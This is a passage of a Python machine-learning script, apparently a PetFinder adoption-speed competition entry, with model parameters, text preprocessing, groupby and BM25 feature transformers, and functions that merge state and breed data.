getLogger(COMPETITION_NAME)\nLOGFORMAT = '%(asctime)s %(levelname)s %(message)s'\n\ntarget = 'AdoptionSpeed'\nlen_train = 14993\nlen_test = 3948\n\nT_flag = True\nK_flag = True\nG_flag = True\ndebug = False\n \n \n# ===============\n# Params\n# ===============\nseed = 777\nkaeru_seed = 1337\nn_splits = 5\nnp.random.seed(seed)\n\n# feature engineering\nn_components = 5\nn_components_gege_img = 32\nn_components_gege_txt = 16\nimg_size = 256\nbatch_size = 256\nbatch_size_nn = 128\nepochs = 10\n\n# feature engineering NN\nmax_len=128\nn_important = 100\n\n# model\nMODEL_PARAMS = {\n 'task': 'train',\n 'boosting_type': 'gbdt',\n 'objective': 'regression',\n 'metric': 'rmse',\n 'learning_rate': 0.01,\n 'num_leaves': 63,\n 'subsample': 0.9,\n 'subsample_freq': 1,\n 'colsample_bytree': 0.6,\n 'max_depth': 9,\n 'max_bin': 127,\n 'reg_alpha': 0.11,\n 'reg_lambda': 0.01,\n 'min_child_weight': 0.2,\n 'min_child_samples': 20,\n 'min_gain_to_split': 0.02,\n 'min_data_in_bin': 3,\n 'bin_construct_sample_cnt': 5000,\n 'cat_l2': 10,\n 'verbose': -1,\n 'nthread': -1,\n 'seed': 777,\n}\nKAERU_PARAMS = {'application': 'regression',\n 'boosting': 'gbdt',\n 'metric': 'rmse',\n 'num_leaves': 70,\n 'max_depth': 9,\n 'learning_rate': 0.01,\n 'max_bin': 32,\n 'bagging_freq': 2,\n 'bagging_fraction': 0.85,\n 'feature_fraction': 0.8,\n 'min_split_gain': 0.02,\n 'min_child_samples': 150,\n 'min_child_weight': 0.02,\n 'lambda_l2': 0.0475,\n 'verbosity': -1,\n 'seed': kaeru_seed}\nADV_PARAMS = {\n 'task': 'train',\n 'boosting_type': 'gbdt',\n 'objective': 'binary',\n 'metric': 'auc',\n 'num_leaves': 64,\n 'learning_rate': 0.02,\n 'verbose': 0,\n 'lambda_l1': 0.1,\n 'seed': 1213\n} \nMODEL_PARAMS_XGB = {\n 'eval_metric': 'rmse',\n 'seed': 1337,\n 'eta': 0.01,\n 'subsample': 0.8,\n 'colsample_bytree': 0.85,\n 'tree_method': 'gpu_hist',\n 'device': 'gpu',\n 'silent': 1,\n}\nFIT_PARAMS = {\n 'num_boost_round': 5000,\n 'early_stopping_rounds': 100,\n 'verbose_eval': 5000,\n}\n\n# define\nmaxvalue_dict = {}\ncategorical_features = [\n 'Breed1',\n 'Breed2',\n 'Color1',\n 'Color2',\n 'Color3',\n 'Dewormed',\n 'FurLength',\n 'Gender',\n 'Health',\n 'MaturitySize',\n 'State',\n 'Sterilized',\n 'Type',\n 'Vaccinated',\n 'Type_main_breed',\n 'BreedName_main_breed',\n 'Type_second_breed',\n 'BreedName_second_breed',\n 'BreedName_main_breed_all',\n]\ncontraction_mapping = {u\"ain’t\": u\"is not\", u\"aren’t\": u\"are not\",u\"can’t\": u\"cannot\", u\"’cause\": u\"because\",\n u\"could’ve\": u\"could have\", u\"couldn’t\": u\"could not\", u\"didn’t\": u\"did not\",\n u\"doesn’t\": u\"does not\", u\"don’t\": u\"do not\", u\"hadn’t\": u\"had not\",\n u\"hasn’t\": u\"has not\", u\"haven’t\": u\"have not\", u\"he’d\": u\"he would\",\n u\"he’ll\": u\"he will\", u\"he’s\": u\"he is\", u\"how’d\": u\"how did\", u\"how’d’y\": u\"how do you\",\n u\"how’ll\": u\"how will\", u\"how’s\": u\"how is\", u\"I’d\": u\"I would\",\n u\"I’d’ve\": u\"I would have\", u\"I’ll\": u\"I will\", u\"I’ll’ve\": u\"I will have\",\n u\"I’m\": u\"I am\", u\"I’ve\": u\"I have\", u\"i’d\": u\"i would\", u\"i’d’ve\": u\"i would have\",\n u\"i’ll\": u\"i will\", u\"i’ll’ve\": u\"i will have\",u\"i’m\": u\"i am\", u\"i’ve\": u\"i have\",\n u\"isn’t\": u\"is not\", u\"it’d\": u\"it would\", u\"it’d’ve\": u\"it would have\",\n u\"it’ll\": u\"it will\", u\"it’ll’ve\": u\"it will have\",u\"it’s\": u\"it is\",\n u\"let’s\": u\"let us\", u\"ma’am\": u\"madam\", u\"mayn’t\": u\"may not\",\n u\"might’ve\": u\"might have\",u\"mightn’t\": u\"might not\",u\"mightn’t’ve\": u\"might not have\",\n u\"must’ve\": u\"must have\", u\"mustn’t\": u\"must not\", u\"mustn’t’ve\": u\"must not have\",\n u\"needn’t\": u\"need not\", u\"needn’t’ve\": u\"need not have\",u\"o’clock\": u\"of the clock\",\n u\"oughtn’t\": u\"ought not\", u\"oughtn’t’ve\": u\"ought not have\", u\"shan’t\": u\"shall not\", \n u\"sha’n’t\": u\"shall not\", u\"shan’t’ve\": u\"shall not have\", u\"she’d\": u\"she would\",\n u\"she’d’ve\": u\"she would have\", u\"she’ll\": u\"she will\", u\"she’ll’ve\": u\"she will have\",\n u\"she’s\": u\"she is\", u\"should’ve\": u\"should have\", u\"shouldn’t\": u\"should not\",\n u\"shouldn’t’ve\": u\"should not have\", u\"so’ve\": u\"so have\",u\"so’s\": u\"so as\",\n u\"this’s\": u\"this is\",u\"that’d\": u\"that would\", u\"that’d’ve\": u\"that would have\",\n u\"that’s\": u\"that is\", u\"there’d\": u\"there would\", u\"there’d’ve\": u\"there would have\",\n u\"there’s\": u\"there is\", u\"here’s\": u\"here is\",u\"they’d\": u\"they would\", \n u\"they’d’ve\": u\"they would have\", u\"they’ll\": u\"they will\", \n u\"they’ll’ve\": u\"they will have\", u\"they’re\": u\"they are\", u\"they’ve\": u\"they have\", \n u\"to’ve\": u\"to have\", u\"wasn’t\": u\"was not\", u\"we’d\": u\"we would\",\n u\"we’d’ve\": u\"we would have\", u\"we’ll\": u\"we will\", u\"we’ll’ve\": u\"we will have\", \n u\"we’re\": u\"we are\", u\"we’ve\": u\"we have\", u\"weren’t\": u\"were not\",\n u\"what’ll\": u\"what will\", u\"what’ll’ve\": u\"what will have\", u\"what’re\": u\"what are\",\n u\"what’s\": u\"what is\", u\"what’ve\": u\"what have\", u\"when’s\": u\"when is\",\n u\"when’ve\": u\"when have\", u\"where’d\": u\"where did\", u\"where’s\": u\"where is\",\n u\"where’ve\": u\"where have\", u\"who’ll\": u\"who will\", u\"who’ll’ve\": u\"who will have\",\n u\"who’s\": u\"who is\", u\"who’ve\": u\"who have\", u\"why’s\": u\"why is\", u\"why’ve\": u\"why have\",\n u\"will’ve\": u\"will have\", u\"won’t\": u\"will not\", u\"won’t’ve\": u\"will not have\",\n u\"would’ve\": u\"would have\", u\"wouldn’t\": u\"would not\", u\"wouldn’t’ve\": u\"would not have\",\n u\"y’all\": u\"you all\", u\"y’all’d\": u\"you all would\",u\"y’all’d’ve\": u\"you all would have\",\n u\"y’all’re\": u\"you all are\",u\"y’all’ve\": u\"you all have\",u\"you’d\": u\"you would\",\n u\"you’d’ve\": u\"you would have\", u\"you’ll\": u\"you will\", u\"you’ll’ve\": u\"you will have\",\n u\"you’re\": u\"you are\", u\"you’ve\": u\"you have\", u\"cat’s\": u\"cat is\",u\" whatapp \": u\" whatapps \",\n u\" whatssapp \": u\" whatapps \",u\" whatssap \": u\" whatapps \",u\" whatspp \": u\" whatapps \",\n u\" whastapp \": u\" whatapps \",u\" whatsap \": u\" whatapps \",u\" whassap \": u\" whatapps \",\n u\" watapps \": u\" whatapps \",u\"wetfood\": u\"wet food\",u\"intetested\": u\"interested\",\n u\"领养条件,\": u\"领养条件\",u\"谢谢。\": u\"谢谢\",\n u\"别打我,记住,我有反抗的牙齿,但我不会咬你。remember\": u\"别打我,记住,我有反抗的牙齿,但我不会咬你。\",\n u\"有你。do\": u\"有你。\",u\"名字name\": u\"名字\",u\"year,\": u\"year\",u\"work,your\": u\"work your\",\n u\"too,will\": u\"too will\",u\"timtams\": u\"timtam\",u\"spay。\": u\"spay\",u\"shoulder,a\": u\"shoulder a\",\n u\"sherpherd\": u\"shepherd\",u\"sherphed\": u\"shepherd\",u\"sherperd\": u\"shepherd\",\n u\"sherpard\": u\"shepherd\",u\"serious。\": u\"serious\",u\"remember,i\": u\"remember i\",\n u\"recover,\": u\"recover\",u\"refundable指定期限内结扎后会全数奉还\": u\"refundable\",\n u\"puchong区,有没有人有增添家庭成员?\": u\"puchong\",u\"puchong救的\": u\"puchong\",\n u\"puchong,\": u\"puchong\",u\"month。\": u\"month\",u\"month,\": u\"month\",\n u\"microchip(做狗牌一定要有主人的电话号码)\": u\"microchip\",u\"maju。\": u\"maju\",u\"maincoone\": u\"maincoon\",\n u\"lumpur。\": u\"lumpur\",u\"location:阿里玛,大山脚\": u\"location\",u\"life🐾🐾\": u\"life\",\n u\"kibble,\": u\"kibble\",u\"home…\": u\"home\",u\"hand,but\": u\"hand but\",u\"hair,a\": u\"hair a\",\n u\"grey、brown\": u\"grey brown\",u\"gray,\": u\"gray\",u\"free免费\": u\"free\",u\"food,or\": u\"food or\",\n u\"dog/dog\": u\"dog\",u\"dijumpa\": u\"dijumpai\",u\"dibela\": u\"dibelai\",\n u\"beauuuuuuuuutiful\": u\"beautiful\",u\"adopt🙏\": u\"adopt\",u\"addopt\": u\"adopt\",\n u\"enxiety\": u\"anxiety\", u\"vaksin\": u\"vaccine\"}\nnumerical_features = []\ntext_features = ['Name', 'Description', 'Description_Emb', 'Description_bow']\nmeta_text = ['BreedName_main_breed', 'BreedName_second_breed', 'annots_top_desc', 'sentiment_text', \n 'annots_top_desc_pick', 'sentiment_entities']\nremove = ['index', 'seq_text', 'PetID', 'Name', 'Description', 'RescuerID', 'StateName', 'annots_top_desc','sentiment_text', \n 'sentiment_entities', 'Description_Emb', 'Description_bow', 'annots_top_desc_pick']\nkaeru_drop_cols = [\"2017GDPperCapita\", \"Bumiputra\", \"Chinese\", \"HDI\", \"Indian\", \"Latitude\", \"Longitude\",\n 'color_red_score_mean_mean', 'color_red_score_mean_sum', 'color_blue_score_mean_mean',\n 'color_blue_score_mean_sum', 'color_green_score_mean_mean', 'color_green_score_mean_sum',\n 'dog_cat_scores_mean_mean', 'dog_cat_scores_mean_sum', 'dog_cat_topics_mean_mean',\n 'dog_cat_topics_mean_sum', 'is_dog_or_cat_mean_mean', 'is_dog_or_cat_mean_sum',\n 'len_text_mean_mean', 'len_text_mean_sum', 'StateID']\ngege_drop_cols = ['2017GDPperCapita', 'Breed1_equals_Breed2', 'Bumiputra', 'Chinese',\n 'HDI', 'Indian','Latitude', 'Longitude', 'Pop_density', 'Urban_pop', 'Breed1_equals_Breed2',\n 'fix_Breed1', 'fix_Breed2', 'single_Breed', 'color_red_score_mean_mean', 'color_red_score_mean_sum', \n 'color_red_score_mean_var', 'color_blue_score_mean_mean', 'color_blue_score_mean_sum', \n 'color_blue_score_mean_var', 'color_green_score_mean_mean', 'color_green_score_mean_sum',\n 'color_green_score_mean_var', 'dog_cat_scores_mean_mean', 'dog_cat_scores_mean_sum', \n 'dog_cat_scores_mean_var', 'dog_cat_topics_mean_mean', 'dog_cat_topics_mean_sum', \n 'dog_cat_topics_mean_var', 'is_dog_or_cat_mean_mean', 'is_dog_or_cat_mean_sum',\n 'is_dog_or_cat_mean_var', 'len_text_mean_mean', 'len_text_mean_sum', 'len_text_mean_var']\nuse_cols = pd.read_csv(\"../input/pet-usecols/importance10.csv\")\n#use_cols = pd.read_csv(\"importance4.csv\")\nuse_cols[\"gain\"] = use_cols[\"gain\"] / use_cols[\"gain\"].sum()\nuse_colsnn = list(use_cols[use_cols.gain>0.0002].feature.values)\nuse_cols = list(use_cols.feature.values)[:1000]\n\nps = nltk.stem.PorterStemmer()\nlc = nltk.stem.lancaster.LancasterStemmer()\nsb = nltk.stem.snowball.SnowballStemmer('english')\n\n# ===============\n# Utility Functions\n# ===============\ndef to_category(train, cat=None):\n if cat is None:\n cat = [col for col in train.columns if train[col].dtype == 'object']\n for c in cat:\n train[c], uniques = pd.factorize(train[c])\n maxvalue_dict[c] = train[c].max() + 1\n return train\n\ndef init_logger():\n # Add handlers\n handler = StreamHandler()\n handler.setLevel(INFO)\n handler.setFormatter(Formatter(LOGFORMAT))\n fh_handler = FileHandler('{}.log'.format(MODEL_NAME))\n fh_handler.setFormatter(Formatter(LOGFORMAT))\n logger.setLevel(INFO)\n logger.addHandler(handler)\n logger.addHandler(fh_handler)\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n logger.info(f'[{name}] done in {time.time() - t0:.0f} s')\n\ndef seed_everything(seed=1234):\n random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n tf.set_random_seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.backends.cudnn.deterministic = True\n \ndef load_image_and_hash(paths):\n funcs = [\n imagehash.average_hash,\n imagehash.phash,\n imagehash.dhash,\n imagehash.whash,\n #lambda x: imagehash.whash(x, mode='db4'),\n ]\n\n petids = []\n hashes = []\n for path in paths:\n image = Image.open(path)\n imageid = path.split('/')[-1].split('.')[0][:-2]\n\n petids.append(imageid)\n hashes.append(np.array([f(image).hash for f in funcs]).reshape(256))\n return petids, np.array(hashes).astype(np.uint8)\n \ndef find_duplicates_all():\n train_paths = glob.glob('../input/petfinder-adoption-prediction/train_images/*-1.jpg')\n train_paths += glob.glob('../input/petfinder-adoption-prediction/train_images/*-2.jpg')\n test_paths = glob.glob('../input/petfinder-adoption-prediction/test_images/*-1.jpg')\n test_paths += glob.glob('../input/petfinder-adoption-prediction/test_images/*-2.jpg')\n \n train_petids, train_hashes = load_image_and_hash(train_paths)\n test_petids, test_hashes = load_image_and_hash(test_paths)\n\n# sims = np.array([(train_hashes[i] == test_hashes).sum(axis=1)/256 for i in range(train_hashes.shape[0])])\n try:\n train_hashes = torch.from_numpy(train_hashes).cuda()\n test_hashes = torch.from_numpy(test_hashes).cuda()\n except:\n train_hashes = torch.Tensor(train_hashes).cuda()\n test_hashes = torch.Tensor(test_hashes).cuda()\n sims = np.array([(train_hashes[i] == test_hashes).sum(dim=1).cpu().numpy() for i in range(train_hashes.shape[0])]) / 256\n indices1 = np.where(sims > 0.9)\n indices2 = np.where(indices1[0] != indices1[1])\n petids1 = [train_petids[i] for i in indices1[0][indices2]]\n petids2 = [test_petids[i] for i in indices1[1][indices2]]\n dups = {tuple([petid1, petid2]): True for petid1, petid2 in zip(petids1, petids2)}\n logger.info(f'found {len(dups)} duplicates')\n\n return dups\n \ndef submission_with_postprocessV3(y_pred):\n df_sub = pd.read_csv('../input/petfinder-adoption-prediction/test/sample_submission.csv')\n train = pd.read_csv('../input/petfinder-adoption-prediction/train/train.csv')\n df_sub[\"AdoptionSpeed\"] = y_pred\n # postprocess\n duplicated = find_duplicates_all()\n duplicated = pd.DataFrame(duplicated, index=range(0)).T.reset_index()\n duplicated.columns = ['pet_id_0', 'pet_id_1']\n duplicated.drop_duplicates(['pet_id_1'], inplace=True)\n\n duplicated_0 = duplicated.merge(train[['PetID', 'AdoptionSpeed']], how='left', left_on='pet_id_0', right_on='PetID').dropna()\n df_sub = df_sub.merge(duplicated_0[['pet_id_1', 'AdoptionSpeed']], \n how='left', left_on='PetID', right_on='pet_id_1', suffixes=('_original', ''))\n df_sub['AdoptionSpeed'].fillna(df_sub['AdoptionSpeed_original'], inplace=True)\n df_sub = df_sub[['PetID', 'AdoptionSpeed']]\n \n n = len(y_pred) - np.sum(y_pred==df_sub['AdoptionSpeed'])\n logger.info(f'changed {n} duplicates')\n \n df_sub[\"AdoptionSpeed\"] = df_sub[\"AdoptionSpeed\"].astype(np.int32)\n # submission\n df_sub.to_csv('submission.csv', index=False)\n \ndef submission(y_pred):\n logger.info('making submission file...')\n df_sub = pd.read_csv('../input/petfinder-adoption-prediction/test/sample_submission.csv')\n df_sub[target] = y_pred\n df_sub.to_csv('submission.csv', index=False)\n\ndef analyzer_bow(text):\n stop_words = ['i', 'a', 'an', 'the', 'to', 'and', 'or', 'if', 'is', 'are', 'am', 'it', 'this', 'that', 'of', 'from', 'in', 'on']\n text = text.lower() # 小文字化\n text = text.replace('\\n', '') # 改行削除\n text = text.replace('\\t', '') # タブ削除\n puncts = r',.\":)(-!?|;\\'$&/[]>%=#*+\\\\•~@£·_{}©^®`<→°€™›♥←ק″′Â█½à…“★”–●â►−¢²¬░¶↑±¿▾═¦║―¥▓—‹─▒:¼⊕▼▪†■’▀¨▄♫☆é¯♦¤▲踾Ã⋅‘∞∙)↓、│(»,♪╩╚³・╦╣╔╗▬❤ïع≤‡√。【】'\n for punct in puncts:\n text = text.replace(punct, f' {punct} ')\n for bad_word in contraction_mapping:\n if bad_word in text:\n text = text.replace(bad_word, contraction_mapping[bad_word])\n text = text.split(' ') # スペースで区切る\n text = [sb.stem(t) for t in text]\n \n words = []\n for word in text:\n if (re.compile(r'^.*[0-9]+.*$').fullmatch(word) is not None): # 数字が含まれるものは分割\n for w in re.findall(r'(\\d+|\\D+)', word):\n words.append(w)\n continue\n if word in stop_words: # ストップワードに含まれるものは除外\n continue\n if len(word) < 2: # 1文字、0文字(空文字)は除外\n continue\n words.append(word)\n \n return \" \".join(words)\n\ndef analyzer_embed(text):\n text = text.lower() # 小文字化\n text = text.replace('\\n', '') # 改行削除\n text = text.replace('\\t', '') # タブ削除\n puncts = r',.\":)(-!?|;\\'$&/[]>%=#*+\\\\•~@£·_{}©^®`<→°€™›♥←ק″′Â█½à…“★”–●â►−¢²¬░¶↑±¿▾═¦║―¥▓—‹─▒:¼⊕▼▪†■’▀¨▄♫☆é¯♦¤▲踾Ã⋅‘∞∙)↓、│(»,♪╩╚³・╦╣╔╗▬❤ïع≤‡√。【】'\n for punct in puncts:\n text = text.replace(punct, f' {punct} ')\n for bad_word in contraction_mapping:\n if bad_word in text:\n text = text.replace(bad_word, contraction_mapping[bad_word])\n text = text.split(' ') # スペースで区切る\n \n words = []\n for word in text:\n if (re.compile(r'^.*[0-9]+.*$').fullmatch(word) is not None): # 数字が含まれるものは分割\n for w in re.findall(r'(\\d+|\\D+)', word):\n words.append(w)\n continue\n if len(word) < 1: # 0文字(空文字)は除外\n continue\n words.append(word)\n \n return \" \".join(words)\n\ndef analyzer_k(text): \n stop_words = ['i', 'a', 'an', 'the', 'to', 'and', 'or', 'if', 'is', 'are', 'am', 'it', 'this', 'that', 'of', 'from', 'in', 'on']\n text = text.lower() # 小文字化\n text = text.replace('\\n', '') # 改行削除\n text = text.replace('\\t', '') # タブ削除\n text = re.sub(re.compile(r'[!-\\/:-@[-`{-~]'), ' ', text) # 記号をスペースに置き換え\n text = text.split(' ') # スペースで区切る\n \n words = []\n for word in text:\n if (re.compile(r'^.*[0-9]+.*$').fullmatch(word) is not None): # 数字が含まれるものは除外\n continue\n if word in stop_words: # ストップワードに含まれるものは除外\n continue\n if len(word) < 2: # 1文字、0文字(空文字)は除外\n continue\n words.append(word)\n \n return words\n \n# ===============\n# Feature Engineering\n# ===============\nclass GroupbyTransformer():\n def __init__(self, param_dict=None):\n self.param_dict = param_dict\n\n def _get_params(self, p_dict):\n key = p_dict['key']\n if 'var' in p_dict.keys():\n var = p_dict['var']\n else:\n var = self.var\n if 'agg' in p_dict.keys():\n agg = p_dict['agg']\n else:\n agg = self.agg\n if 'on' in p_dict.keys():\n on = p_dict['on']\n else:\n on = key\n return key, var, agg, on\n\n def _aggregate(self, dataframe):\n self.features = []\n for param_dict in self.param_dict:\n key, var, agg, on = self._get_params(param_dict)\n all_features = list(set(key + var))\n new_features = self._get_feature_names(key, var, agg)\n features = dataframe[all_features].groupby(key)[\n var].agg(agg).reset_index()\n features.columns = key + new_features\n self.features.append(features)\n return self\n\n def _merge(self, dataframe, merge=True):\n for param_dict, features in zip(self.param_dict, self.features):\n key, var, agg, on = self._get_params(param_dict)\n if merge:\n dataframe = dataframe.merge(features, how='left', on=on)\n else:\n new_features = self._get_feature_names(key, var, agg)\n dataframe = pd.concat([dataframe, features[new_features]], axis=1)\n return dataframe\n\n def transform(self, dataframe):\n self._aggregate(dataframe)\n return self._merge(dataframe, merge=True)\n\n def _get_feature_names(self, key, var, agg):\n _agg = []\n for a in agg:\n if not isinstance(a, str):\n _agg.append(a.__name__)\n else:\n _agg.append(a)\n return ['_'.join([a, v, 'groupby'] + key) for v in var for a in _agg]\n\n def get_feature_names(self):\n self.feature_names = []\n for param_dict in self.param_dict:\n key, var, agg, on = self._get_params(param_dict)\n self.feature_names += self._get_feature_names(key, var, agg)\n return self.feature_names\n\n def get_numerical_features(self):\n return self.get_feature_names()\n\nclass DiffGroupbyTransformer(GroupbyTransformer):\n def _aggregate(self):\n raise NotImplementedError\n \n def _merge(self):\n raise NotImplementedError\n \n def transform(self, dataframe):\n for param_dict in self.param_dict:\n key, var, agg, on = self._get_params(param_dict)\n for a in agg:\n for v in var:\n new_feature = '_'.join(['diff', a, v, 'groupby'] + key)\n base_feature = '_'.join([a, v, 'groupby'] + key)\n dataframe[new_feature] = dataframe[base_feature] - dataframe[v]\n return dataframe\n\n def _get_feature_names(self, key, var, agg):\n _agg = []\n for a in agg:\n if not isinstance(a, str):\n _agg.append(a.__name__)\n else:\n _agg.append(a)\n return ['_'.join(['diff', a, v, 'groupby'] + key) for v in var for a in _agg]\n\n\nclass RatioGroupbyTransformer(GroupbyTransformer):\n def _aggregate(self):\n raise NotImplementedError\n \n def _merge(self):\n raise NotImplementedError\n \n def transform(self, dataframe):\n for param_dict in self.param_dict:\n key, var, agg, on = self._get_params(param_dict)\n for a in agg:\n for v in var:\n new_feature = '_'.join(['ratio', a, v, 'groupby'] + key)\n base_feature = '_'.join([a, v, 'groupby'] + key)\n dataframe[new_feature] = dataframe[v] / dataframe[base_feature]\n return dataframe\n\n def _get_feature_names(self, key, var, agg):\n _agg = []\n for a in agg:\n if not isinstance(a, str):\n _agg.append(a.__name__)\n else:\n _agg.append(a)\n return ['_'.join(['ratio', a, v, 'groupby'] + key) for v in var for a in _agg]\n \n \nclass CategoryVectorizer():\n def __init__(self, categorical_columns, n_components, \n vectorizer=CountVectorizer(), \n transformer=LatentDirichletAllocation(),\n name='CountLDA'):\n self.categorical_columns = categorical_columns\n self.n_components = n_components\n self.vectorizer = vectorizer\n self.transformer = transformer\n self.name = name + str(self.n_components)\n \n def transform(self, dataframe):\n features = []\n for (col1, col2) in self.get_column_pairs():\n try:\n sentence = self.create_word_list(dataframe, col1, col2)\n sentence = self.vectorizer.fit_transform(sentence)\n feature = self.transformer.fit_transform(sentence)\n feature = self.get_feature(dataframe, col1, col2, feature, name=self.name)\n features.append(feature)\n except:\n pass\n features = pd.concat(features, axis=1)\n return features\n\n def create_word_list(self, dataframe, col1, col2):\n col1_size = int(dataframe[col1].values.max() + 1)\n col2_list = [[] for _ in range(col1_size)]\n for val1, val2 in zip(dataframe[col1].values, dataframe[col2].values):\n col2_list[int(val1)].append(col2+str(val2))\n return [' '.join(map(str, ls)) for ls in col2_list]\n \n def get_feature(self, dataframe, col1, col2, latent_vector, name=''):\n features = np.zeros(\n shape=(len(dataframe), self.n_components), dtype=np.float32)\n self.columns = ['_'.join([name, col1, col2, str(i)])\n for i in range(self.n_components)]\n for i, val1 in enumerate(dataframe[col1]):\n features[i, :self.n_components] = latent_vector[val1]\n\n return pd.DataFrame(data=features, columns=self.columns)\n \n def get_column_pairs(self):\n return [(col1, col2) for col1, col2 in itertools.product(self.categorical_columns, repeat=2) if col1 != col2]\n\n def get_numerical_features(self):\n return self.columns\n \nclass BM25Transformer(BaseEstimator, TransformerMixin):\n \"\"\"\n Parameters\n ----------\n use_idf : boolean, optional (default=True)\n k1 : float, optional (default=2.0)\n b : float, optional (default=0.75)\n References\n ----------\n Okapi BM25: a non-binary model - Introduction to Information Retrieval\n http://nlp.stanford.edu/IR-book/html/htmledition/okapi-bm25-a-non-binary-model-1.html\n \"\"\"\n def __init__(self, use_idf=True, k1=2.0, b=0.75):\n self.use_idf = use_idf\n self.k1 = k1\n self.b = b\n\n def fit(self, X):\n \"\"\"\n Parameters\n ----------\n X : sparse matrix, [n_samples, n_features] document-term matrix\n \"\"\"\n if not sp.sparse.issparse(X):\n X = sp.sparse.csc_matrix(X)\n if self.use_idf:\n n_samples, n_features = X.shape\n df = _document_frequency(X)\n idf = np.log((n_samples - df + 0.5) / (df + 0.5))\n self._idf_diag = sp.sparse.spdiags(idf, diags=0, m=n_features, n=n_features)\n\n doc_len = X.sum(axis=1)\n self._average_document_len = np.average(doc_len)\n\n return self\n\n def transform(self, X, copy=True):\n \"\"\"\n Parameters\n ----------\n X : sparse matrix, [n_samples, n_features] document-term matrix\n copy : boolean, optional (default=True)\n \"\"\"\n if hasattr(X, 'dtype') and np.issubdtype(X.dtype, np.float):\n # preserve float family dtype\n X = sp.sparse.csr_matrix(X, copy=copy)\n else:\n # convert counts or binary occurrences to floats\n X = sp.sparse.csr_matrix(X, dtype=np.float, copy=copy)\n\n n_samples, n_features = X.shape\n\n # Document length (number of terms) in each row\n # Shape is (n_samples, 1)\n doc_len = X.sum(axis=1)\n # Number of non-zero elements in each row\n # Shape is (n_samples, )\n sz = X.indptr[1:] - X.indptr[0:-1]\n\n # In each row, repeat `doc_len` for `sz` times\n # Shape is (sum(sz), )\n # Example\n # -------\n # dl = [4, 5, 6]\n # sz = [1, 2, 3]\n # rep = [4, 5, 5, 6, 6, 6]\n rep = np.repeat(np.asarray(doc_len), sz)\n\n # Compute BM25 score only for non-zero elements\n nom = self.k1 + 1\n denom = X.data + self.k1 * (1 - self.b + self.b * rep / self._average_document_len)\n data = X.data * nom / denom\n\n X = sp.sparse.csr_matrix((data, X.indices, X.indptr), shape=X.shape)\n\n if self.use_idf:\n check_is_fitted(self, '_idf_diag', 'idf vector is not fitted')\n\n expected_n_features = self._idf_diag.shape[0]\n if n_features != expected_n_features:\n raise ValueError(\"Input has n_features=%d while the model\"\n \" has been trained with n_features=%d\" % (\n n_features, expected_n_features))\n X = X * self._idf_diag\n\n return X\n\n# ===============\n# For pet\n# ===============\ndef merge_state_info(train):\n states = pd.read_csv('../input/petfinder-adoption-prediction/state_labels.csv')\n state_info = pd.read_csv('../input/state-info/state_info.csv')\n state_info.rename(columns={\n 'Area (km2)': 'Area', \n 'Pop. density': 'Pop_density',\n 'Urban pop.(%)': 'Urban_pop',\n 'Bumiputra (%)': 'Bumiputra',\n 'Chinese (%)': 'Chinese',\n 'Indian (%)': 'Indian'\n }, inplace=True)\n state_info['Population'] = state_info['Population'].str.replace(',', '').astype('int32')\n state_info['Area'] = state_info['Area'].str.replace(',', '').astype('int32')\n state_info['Pop_density'] = state_info['Pop_density'].str.replace(',', '').astype('int32')\n state_info['2017GDPperCapita'] = state_info['2017GDPperCapita'].str.replace(',', '').astype('float32')\n state_info['StateName'] = state_info['StateName'].str.replace('FT ', '')\n state_info['StateName'] = state_info['StateName'].str.replace('Malacca', 'Melaka')\n state_info['StateName'] = state_info['StateName'].str.replace('Penang', 'Pulau Pinang')\n\n states = states.merge(state_info, how='left', on='StateName')\n train = train.merge(states, how='left', left_on='State', right_on='StateID')\n \n return train \n \ndef merge_breed_name(train):\n breeds = pd.read_csv('../input/petfinder-adoption-prediction/breed_labels.csv')\n with open(\"../input/petfinderdatasets/rating.json\", 'r', encoding='utf-8') as f:\n breed_data = json.load(f)\n cat_breed = pd.DataFrame.from_dict(breed_data['cat_breeds']).T\n dog_breed = pd.DataFrame.from_dict(breed_data['dog_breeds']).T\n df = pd.concat([dog_breed, cat_breed], axis=0).reset_index().rename(columns={'index': 'BreedName'})\n df.BreedName.replace(\n {\n 'Siamese Cat': 'Siamese',\n 'Chinese Crested': 'Chinese Crested Dog',\n 'Australian Cattle Dog': 'Australian Cattle Dog/Blue Heeler',\n 'Yorkshire Terrier': 'Yorkshire Terrier Yorkie',\n 'Pembroke Welsh Corgi': 'Welsh Corgi',\n 'Sphynx': 'Sphynx (hairless cat)',\n 'Plott': 'Plott Hound',\n 'Korean Jindo Dog': 'Jindo',\n 'Anatolian Shepherd Dog': 'Anatolian Shepherd',\n 'Belgian Malinois': 'Belgian Shepherd Malinois',\n 'Belgian Sheepdog': 'Belgian Shepherd Dog Sheepdog',\n 'Belgian Tervuren': 'Belgian Shepherd Tervuren',\n 'Bengal Cats': 'Bengal',\n 'Bouvier des Flandres': 'Bouvier des Flanders',\n 'Brittany': 'Brittany Spaniel',\n 'Caucasian Shepherd Dog': 'Caucasian Sheepdog (Caucasian Ovtcharka)',\n 'Dandie Dinmont Terrier': 'Dandi Dinmont Terrier',\n 'Bulldog': 'English Bulldog',\n 'American English Coonhound': 'English Coonhound',\n 'Small Munsterlander Pointer': 'Munsterlander',\n 'Entlebucher Mountain Dog': 'Entlebucher',\n 'Exotic': 'Exotic Shorthair',\n 'Flat-Coated Retriever': 'Flat-coated Retriever',\n 'English Foxhound': 'Foxhound',\n 'Alaskan Klee Kai': 'Klee Kai',\n 'Newfoundland': 'Newfoundland Dog',\n 'Norwegian Forest': 'Norwegian Forest Cat',\n 'Nova Scotia Duck Tolling Retriever': 'Nova Scotia Duck-Tolling Retriever',\n 'American Pit Bull Terrier': 'Pit Bull Terrier',\n 'Ragdoll Cats': 'Ragdoll',\n 'Standard Schnauzer': 'Schnauzer',\n 'Scottish Terrier': 'Scottish Terrier Scottie',\n 'Chinese Shar-Pei': 'Shar Pei',\n 'Shetland Sheepdog': 'Shetland Sheepdog Sheltie',\n 'West Highland White Terrier': 'West Highland White Terrier Westie',\n 'Soft Coated Wheaten Terrier': 'Wheaten Terrier',\n 'Wirehaired Pointing Griffon': 'Wire-haired Pointing Griffon',\n 'Xoloitzcuintli': 'Wirehaired Terrier',\n 'Cane Corso': 'Cane Corso Mastiff',\n 'Havana Brown': 'Havana',\n }, inplace=True\n )\n breeds = breeds.merge(df, how='left', on='BreedName')\n \n breeds1_dic, breeds2_dic = {}, {}\n for c in breeds.columns:\n if c == 